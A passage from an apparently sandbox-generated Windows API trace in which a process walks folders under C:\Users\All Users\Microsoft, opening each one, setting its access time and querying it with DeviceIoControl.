lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x17fbc18, nOutBufferSize=0x4000, lpBytesReturned=0x15ff1a4, lpOverlapped=0x0 | out: lpOutBuffer=0x17fbc18, lpBytesReturned=0x15ff1a4, lpOverlapped=0x0) returned 0 [0256.872] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Windows\\AIT" (normalized: "c:\\users\\all users\\microsoft\\windows\\ait"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x1c4 [0256.872] SetFileTime (hFile=0x1c4, lpCreationTime=0x0, lpLastAccessTime=0x15fee94, lpLastWriteTime=0x15fee94) returned 0 [0256.872] DeviceIoControl (in: hDevice=0x1c4, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x17fbc18, nOutBufferSize=0x4000, lpBytesReturned=0x15feeec, lpOverlapped=0x0 | out: lpOutBuffer=0x17fbc18, lpBytesReturned=0x15feeec, lpOverlapped=0x0) returned 0 [0256.872] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Windows\\DeviceMetadataStore" (normalized: "c:\\users\\all users\\microsoft\\windows\\devicemetadatastore"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x1b4 [0256.873] SetFileTime (hFile=0x1b4, lpCreationTime=0x0, lpLastAccessTime=0x15fee94, lpLastWriteTime=0x15fee94) returned 0 [0256.873] DeviceIoControl (in: hDevice=0x1b4, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x17fbc18, nOutBufferSize=0x4000, lpBytesReturned=0x15feeec, lpOverlapped=0x0 | out: lpOutBuffer=0x17fbc18, lpBytesReturned=0x15feeec, lpOverlapped=0x0) returned 0 [0256.873] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Windows\\DeviceMetadataStore\\en-US" (normalized: "c:\\users\\all users\\microsoft\\windows\\devicemetadatastore\\en-us"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x1b4 [0256.873] SetFileTime (hFile=0x1b4, lpCreationTime=0x0, lpLastAccessTime=0x15febdc, lpLastWriteTime=0x15febdc) returned 0 [0256.873] DeviceIoControl (in: hDevice=0x1b4, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x17fbc18, nOutBufferSize=0x4000, lpBytesReturned=0x15fec34, lpOverlapped=0x0 | out: lpOutBuffer=0x17fbc18, lpBytesReturned=0x15fec34, lpOverlapped=0x0) returned 0 [0256.874] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Windows\\DRM" (normalized: "c:\\users\\all users\\microsoft\\windows\\drm"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x1c4 [0256.874] SetFileTime (hFile=0x1c4, lpCreationTime=0x0, lpLastAccessTime=0x15fee94, lpLastWriteTime=0x15fee94) returned 0 [0256.874] DeviceIoControl (in: hDevice=0x1c4, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x17fbc18, nOutBufferSize=0x4000, lpBytesReturned=0x15feeec, lpOverlapped=0x0 | out: lpOutBuffer=0x17fbc18, lpBytesReturned=0x15feeec, lpOverlapped=0x0) returned 0 [0256.875] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Windows\\DRM\\Cache" (normalized: "c:\\users\\all users\\microsoft\\windows\\drm\\cache"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x1c4 [0256.875] SetFileTime (hFile=0x1c4, lpCreationTime=0x0, lpLastAccessTime=0x15febdc, lpLastWriteTime=0x15febdc) returned 0 [0256.875] DeviceIoControl (in: hDevice=0x1c4, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x17fbc18, nOutBufferSize=0x4000, lpBytesReturned=0x15fec34, lpOverlapped=0x0 | out: lpOutBuffer=0x17fbc18, lpBytesReturned=0x15fec34, lpOverlapped=0x0) returned 0 [0256.875] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Windows\\GameExplorer" (normalized: "c:\\users\\all users\\microsoft\\windows\\gameexplorer"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x1bc [0256.875] SetFileTime (hFile=0x1bc, lpCreationTime=0x0, lpLastAccessTime=0x15fee94, lpLastWriteTime=0x15fee94) returned 0 [0256.875] DeviceIoControl (in: hDevice=0x1bc, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x17fbc18, nOutBufferSize=0x4000, lpBytesReturned=0x15feeec, lpOverlapped=0x0 | out: lpOutBuffer=0x17fbc18, lpBytesReturned=0x15feeec, lpOverlapped=0x0) returned 0 [0256.876] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Windows\\Power Efficiency Diagnostics" (normalized: "c:\\users\\all users\\microsoft\\windows\\power efficiency diagnostics"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x1b4 [0256.876] SetFileTime (hFile=0x1b4, lpCreationTime=0x0, lpLastAccessTime=0x15fee94, lpLastWriteTime=0x15fee94) returned 0 [0256.876] DeviceIoControl (in: hDevice=0x1b4, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x17fbc18, nOutBufferSize=0x4000, lpBytesReturned=0x15feeec, lpOverlapped=0x0 | out: lpOutBuffer=0x17fbc18, lpBytesReturned=0x15feeec, lpOverlapped=0x0) returned 0 [0256.878] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Windows\\Ringtones" (normalized: "c:\\users\\all users\\microsoft\\windows\\ringtones"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x1bc [0256.879] SetFileTime (hFile=0x1bc, lpCreationTime=0x0, lpLastAccessTime=0x15fee94, lpLastWriteTime=0x15fee94) returned 0 [0256.879] DeviceIoControl (in: hDevice=0x1bc, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x17fbc18, nOutBufferSize=0x4000, lpBytesReturned=0x15feeec, lpOverlapped=0x0 | out: lpOutBuffer=0x17fbc18, lpBytesReturned=0x15feeec, lpOverlapped=0x0) returned 0 [0256.881] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Windows\\Sqm" (normalized: "c:\\users\\all users\\microsoft\\windows\\sqm"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x1b4 [0256.881] SetFileTime (hFile=0x1b4, lpCreationTime=0x0, lpLastAccessTime=0x15fee94, lpLastWriteTime=0x15fee94) returned 0 [0256.881] DeviceIoControl (in: hDevice=0x1b4, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x1687f20, nOutBufferSize=0x4000, lpBytesReturned=0x15feeec, lpOverlapped=0x0 | out: lpOutBuffer=0x1687f20, lpBytesReturned=0x15feeec, lpOverlapped=0x0) returned 0 [0256.882] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Windows\\Sqm\\Manifest" (normalized: "c:\\users\\all users\\microsoft\\windows\\sqm\\manifest"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x1b4 [0256.882] SetFileTime (hFile=0x1b4, lpCreationTime=0x0, lpLastAccessTime=0x15febdc, lpLastWriteTime=0x15febdc) returned 0 [0256.882] DeviceIoControl (in: hDevice=0x1b4, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x1687f20, nOutBufferSize=0x4000, lpBytesReturned=0x15fec34, lpOverlapped=0x0 | out: lpOutBuffer=0x1687f20, lpBytesReturned=0x15fec34, lpOverlapped=0x0) returned 0 [0256.882] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Windows\\Sqm\\Sessions" (normalized: "c:\\users\\all users\\microsoft\\windows\\sqm\\sessions"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x1c4 [0256.882] SetFileTime (hFile=0x1c4, lpCreationTime=0x0, lpLastAccessTime=0x15febdc, lpLastWriteTime=0x15febdc) returned 0 [0256.883] DeviceIoControl (in: hDevice=0x1c4, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x1687f20, nOutBufferSize=0x4000, lpBytesReturned=0x15fec34, lpOverlapped=0x0 | out: lpOutBuffer=0x1687f20, lpBytesReturned=0x15fec34, lpOverlapped=0x0) returned 0 [0256.883] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Windows\\Sqm\\Upload" (normalized: "c:\\users\\all users\\microsoft\\windows\\sqm\\upload"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x1b4 [0256.883] SetFileTime (hFile=0x1b4, lpCreationTime=0x0, lpLastAccessTime=0x15febdc, lpLastWriteTime=0x15febdc) returned 0 [0256.883] DeviceIoControl (in: hDevice=0x1b4, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x1687f20, nOutBufferSize=0x4000, lpBytesReturned=0x15fec34, lpOverlapped=0x0 | out: lpOutBuffer=0x1687f20, lpBytesReturned=0x15fec34, lpOverlapped=0x0) returned 0 [0256.883] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Windows\\Start Menu" (normalized: "c:\\users\\all users\\microsoft\\windows\\start menu"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x1bc [0256.883] SetFileTime (hFile=0x1bc, lpCreationTime=0x0, lpLastAccessTime=0x15fee94, lpLastWriteTime=0x15fee94) returned 0 [0256.883] DeviceIoControl (in: hDevice=0x1bc, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x1687f20, nOutBufferSize=0x4000, lpBytesReturned=0x15feeec, lpOverlapped=0x0 | out: lpOutBuffer=0x1687f20, lpBytesReturned=0x15feeec, lpOverlapped=0x0) returned 0 [0256.884] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Windows\\Start Menu\\Programs" (normalized: "c:\\users\\all users\\microsoft\\windows\\start menu\\programs"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x1bc [0256.884] SetFileTime (hFile=0x1bc, lpCreationTime=0x0, lpLastAccessTime=0x15febdc, lpLastWriteTime=0x15febdc) returned 0 [0256.884] DeviceIoControl (in: hDevice=0x1bc, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x1687f20, nOutBufferSize=0x4000, lpBytesReturned=0x15fec34, lpOverlapped=0x0 | out: lpOutBuffer=0x1687f20, lpBytesReturned=0x15fec34, lpOverlapped=0x0) returned 0 [0256.884] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories" (normalized: "c:\\users\\all users\\microsoft\\windows\\start menu\\programs\\accessories"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x1bc [0256.884] SetFileTime (hFile=0x1bc, lpCreationTime=0x0, lpLastAccessTime=0x15fe924, lpLastWriteTime=0x15fe924) returned 0 [0256.884] DeviceIoControl (in: hDevice=0x1bc, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x1687f20, nOutBufferSize=0x4000, lpBytesReturned=0x15fe97c, lpOverlapped=0x0 | out: lpOutBuffer=0x1687f20, lpBytesReturned=0x15fe97c, lpOverlapped=0x0) returned 0 [0256.885] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\Accessibility" (normalized: "c:\\users\\all users\\microsoft\\windows\\start menu\\programs\\accessories\\accessibility"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x1bc [0256.885] SetFileTime (hFile=0x1bc, lpCreationTime=0x0, lpLastAccessTime=0x15fe66c, lpLastWriteTime=0x15fe66c) returned 0 [0256.885] DeviceIoControl (in: hDevice=0x1bc, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x1687f20, nOutBufferSize=0x4000, lpBytesReturned=0x15fe6c4, lpOverlapped=0x0 | out: lpOutBuffer=0x1687f20, lpBytesReturned=0x15fe6c4, lpOverlapped=0x0) returned 0 [0256.886] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\System Tools" (normalized: "c:\\users\\all users\\microsoft\\windows\\start menu\\programs\\accessories\\system tools"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x1b0 [0256.886] SetFileTime (hFile=0x1b0, lpCreationTime=0x0, lpLastAccessTime=0x15fe66c, lpLastWriteTime=0x15fe66c) returned 0 [0256.886] DeviceIoControl (in: hDevice=0x1b0, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x1687f20, nOutBufferSize=0x4000, lpBytesReturned=0x15fe6c4, lpOverlapped=0x0 | out: lpOutBuffer=0x1687f20, lpBytesReturned=0x15fe6c4, lpOverlapped=0x0) returned 0 [0256.886] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\Tablet PC" (normalized: "c:\\users\\all users\\microsoft\\windows\\start menu\\programs\\accessories\\tablet pc"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x1bc [0256.886] SetFileTime (hFile=0x1bc, lpCreationTime=0x0, lpLastAccessTime=0x15fe66c, lpLastWriteTime=0x15fe66c) returned 0 [0256.886] DeviceIoControl (in: hDevice=0x1bc, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x17fbe18, nOutBufferSize=0x4000, lpBytesReturned=0x15fe6c4, lpOverlapped=0x0 | out: lpOutBuffer=0x17fbe18, lpBytesReturned=0x15fe6c4, lpOverlapped=0x0) returned 0 [0256.887] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\Windows PowerShell" (normalized: "c:\\users\\all users\\microsoft\\windows\\start menu\\programs\\accessories\\windows powershell"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x1b0 [0256.887] SetFileTime (hFile=0x1b0, lpCreationTime=0x0, lpLastAccessTime=0x15fe66c, lpLastWriteTime=0x15fe66c) returned 0 [0256.887] DeviceIoControl (in: hDevice=0x1b0, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x17fbe18, nOutBufferSize=0x4000, lpBytesReturned=0x15fe6c4, lpOverlapped=0x0 | out: lpOutBuffer=0x17fbe18, lpBytesReturned=0x15fe6c4, lpOverlapped=0x0) returned 0 [0256.887] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Windows\\Start Menu\\Programs\\Administrative Tools" (normalized: "c:\\users\\all users\\microsoft\\windows\\start menu\\programs\\administrative tools"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x1c0 [0256.887] SetFileTime (hFile=0x1c0, lpCreationTime=0x0, lpLastAccessTime=0x15fe924, lpLastWriteTime=0x15fe924) returned 0 [0256.887] DeviceIoControl (in: hDevice=0x1c0, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x17fbe18, nOutBufferSize=0x4000, lpBytesReturned=0x15fe97c, lpOverlapped=0x0 | out: lpOutBuffer=0x17fbe18, lpBytesReturned=0x15fe97c, lpOverlapped=0x0) returned 0 [0256.888] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Windows\\Start Menu\\Programs\\Games" (normalized: "c:\\users\\all users\\microsoft\\windows\\start menu\\programs\\games"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x1bc [0256.888] SetFileTime (hFile=0x1bc, lpCreationTime=0x0, lpLastAccessTime=0x15fe924, lpLastWriteTime=0x15fe924) returned 0 [0256.888] DeviceIoControl (in: hDevice=0x1bc, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x1687f20, nOutBufferSize=0x4000, lpBytesReturned=0x15fe97c, lpOverlapped=0x0 | out: lpOutBuffer=0x1687f20, lpBytesReturned=0x15fe97c, lpOverlapped=0x0) returned 0 [0256.888] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Windows\\Start Menu\\Programs\\Java" (normalized: "c:\\users\\all users\\microsoft\\windows\\start menu\\programs\\java"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x1c0 [0256.888] SetFileTime (hFile=0x1c0, lpCreationTime=0x0, lpLastAccessTime=0x15fe924, lpLastWriteTime=0x15fe924) returned 0 [0256.888] DeviceIoControl (in: hDevice=0x1c0, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x1687f20, nOutBufferSize=0x4000, lpBytesReturned=0x15fe97c, lpOverlapped=0x0 | out: lpOutBuffer=0x1687f20, lpBytesReturned=0x15fe97c, lpOverlapped=0x0) returned 0 [0256.890] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Windows\\Start Menu\\Programs\\Maintenance" (normalized: "c:\\users\\all users\\microsoft\\windows\\start menu\\programs\\maintenance"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x1bc [0256.890] SetFileTime (hFile=0x1bc, lpCreationTime=0x0, lpLastAccessTime=0x15fe924, lpLastWriteTime=0x15fe924) returned 0 [0256.890] DeviceIoControl (in: hDevice=0x1bc, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x1687f20, nOutBufferSize=0x4000, lpBytesReturned=0x15fe97c, lpOverlapped=0x0 | out: lpOutBuffer=0x1687f20, lpBytesReturned=0x15fe97c, lpOverlapped=0x0) returned 0 [0256.890] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Windows\\Start Menu\\Programs\\Microsoft Office" (normalized: "c:\\users\\all users\\microsoft\\windows\\start menu\\programs\\microsoft office"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x1c0 [0256.890] SetFileTime (hFile=0x1c0, lpCreationTime=0x0, lpLastAccessTime=0x15fe924, lpLastWriteTime=0x15fe924) returned 0 [0256.890] DeviceIoControl (in: hDevice=0x1c0, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x1687f20, nOutBufferSize=0x4000, lpBytesReturned=0x15fe97c, lpOverlapped=0x0 | out: lpOutBuffer=0x1687f20, lpBytesReturned=0x15fe97c, lpOverlapped=0x0) returned 0 [0256.891] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Windows\\Start Menu\\Programs\\Microsoft Office\\Microsoft Office 2010 Tools" (normalized: "c:\\users\\all users\\microsoft\\windows\\start menu\\programs\\microsoft office\\microsoft office 2010 tools"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x1c0 [0256.891] SetFileTime (hFile=0x1c0, lpCreationTime=0x0, lpLastAccessTime=0x15fe66c, lpLastWriteTime=0x15fe66c) returned 0 [0256.891] DeviceIoControl (in: hDevice=0x1c0, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x1687f20, nOutBufferSize=0x4000, lpBytesReturned=0x15fe6c4, lpOverlapped=0x0 | out: lpOutBuffer=0x1687f20, lpBytesReturned=0x15fe6c4, lpOverlapped=0x0) returned 0 [0256.892] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Windows\\Start Menu\\Programs\\SharePoint" (normalized: "c:\\users\\all users\\microsoft\\windows\\start menu\\programs\\sharepoint"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x1bc [0256.893] SetFileTime (hFile=0x1bc, lpCreationTime=0x0, lpLastAccessTime=0x15fe924, lpLastWriteTime=0x15fe924) returned 0 [0256.893] DeviceIoControl (in: hDevice=0x1bc, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x1687f20, nOutBufferSize=0x4000, lpBytesReturned=0x15fe97c, lpOverlapped=0x0 | out: lpOutBuffer=0x1687f20, lpBytesReturned=0x15fe97c, lpOverlapped=0x0) returned 0 [0256.894] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Windows\\Start Menu\\Programs\\Startup" (normalized: "c:\\users\\all users\\microsoft\\windows\\start menu\\programs\\startup"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x1b0 [0256.894] SetFileTime (hFile=0x1b0, lpCreationTime=0x0, lpLastAccessTime=0x15fe924, lpLastWriteTime=0x15fe924) returned 0 [0256.894] DeviceIoControl (in: hDevice=0x1b0, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x1687f20, nOutBufferSize=0x4000, lpBytesReturned=0x15fe97c, lpOverlapped=0x0 | out: lpOutBuffer=0x1687f20, lpBytesReturned=0x15fe97c, lpOverlapped=0x0) returned 0 [0256.895] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Windows\\Start Menu\\Programs\\Tablet PC" (normalized: "c:\\users\\all users\\microsoft\\windows\\start menu\\programs\\tablet pc"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x1bc [0256.895] SetFileTime (hFile=0x1bc, lpCreationTime=0x0, lpLastAccessTime=0x15fe924, lpLastWriteTime=0x15fe924) returned 0 [0256.896] DeviceIoControl (in: hDevice=0x1bc, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x1687f20, nOutBufferSize=0x4000, lpBytesReturned=0x15fe97c, lpOverlapped=0x0 | out: lpOutBuffer=0x1687f20, lpBytesReturned=0x15fe97c, lpOverlapped=0x0) returned 0 [0256.896] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Windows\\Templates" (normalized: "c:\\users\\all users\\microsoft\\windows\\templates"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x1c4 [0256.896] SetFileTime (hFile=0x1c4, lpCreationTime=0x0, lpLastAccessTime=0x15fee94, lpLastWriteTime=0x15fee94) returned 0 [0256.896] DeviceIoControl (in: hDevice=0x1c4, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x1687f20, nOutBufferSize=0x4000, lpBytesReturned=0x15feeec, lpOverlapped=0x0 | out: lpOutBuffer=0x1687f20, lpBytesReturned=0x15feeec, lpOverlapped=0x0) returned 0 [0256.896] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Windows\\WER" (normalized: "c:\\users\\all users\\microsoft\\windows\\wer"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x1b4 [0256.897] SetFileTime (hFile=0x1b4, lpCreationTime=0x0, lpLastAccessTime=0x15fee94, lpLastWriteTime=0x15fee94) returned 0 [0256.897] DeviceIoControl (in: hDevice=0x1b4, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x1687f20, nOutBufferSize=0x4000, lpBytesReturned=0x15feeec, lpOverlapped=0x0 | out: lpOutBuffer=0x1687f20, lpBytesReturned=0x15feeec, lpOverlapped=0x0) returned 0 [0256.897] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Windows\\WER\\ReportArchive" (normalized: "c:\\users\\all users\\microsoft\\windows\\wer\\reportarchive"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x1b4 [0256.897] SetFileTime (hFile=0x1b4, lpCreationTime=0x0, lpLastAccessTime=0x15febdc, lpLastWriteTime=0x15febdc) returned 0 [0256.897] DeviceIoControl (in: hDevice=0x1b4, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x1687f20, nOutBufferSize=0x4000, lpBytesReturned=0x15fec34, lpOverlapped=0x0 | out: lpOutBuffer=0x1687f20, lpBytesReturned=0x15fec34, lpOverlapped=0x0) returned 0 [0256.898] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Windows\\WER\\ReportQueue" (normalized: "c:\\users\\all users\\microsoft\\windows\\wer\\reportqueue"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x1b0 [0256.898] SetFileTime (hFile=0x1b0, lpCreationTime=0x0, lpLastAccessTime=0x15febdc, lpLastWriteTime=0x15febdc) returned 0 [0256.898] DeviceIoControl (in: hDevice=0x1b0, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x1687f20, nOutBufferSize=0x4000, lpBytesReturned=0x15fec34, lpOverlapped=0x0 | out: lpOutBuffer=0x1687f20, lpBytesReturned=0x15fec34, lpOverlapped=0x0) returned 0 [0256.899] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Windows Defender" (normalized: "c:\\users\\all users\\microsoft\\windows defender"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x170 [0256.899] SetFileTime (hFile=0x170, lpCreationTime=0x0, lpLastAccessTime=0x15ff14c, lpLastWriteTime=0x15ff14c) returned 0 [0256.899] DeviceIoControl (in: hDevice=0x170, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x1687f20, nOutBufferSize=0x4000, lpBytesReturned=0x15ff1a4, lpOverlapped=0x0 | out: lpOutBuffer=0x1687f20, lpBytesReturned=0x15ff1a4, lpOverlapped=0x0) returned 0 [0256.900] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Definition Updates" (normalized: "c:\\users\\all users\\microsoft\\windows defender\\definition updates"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, 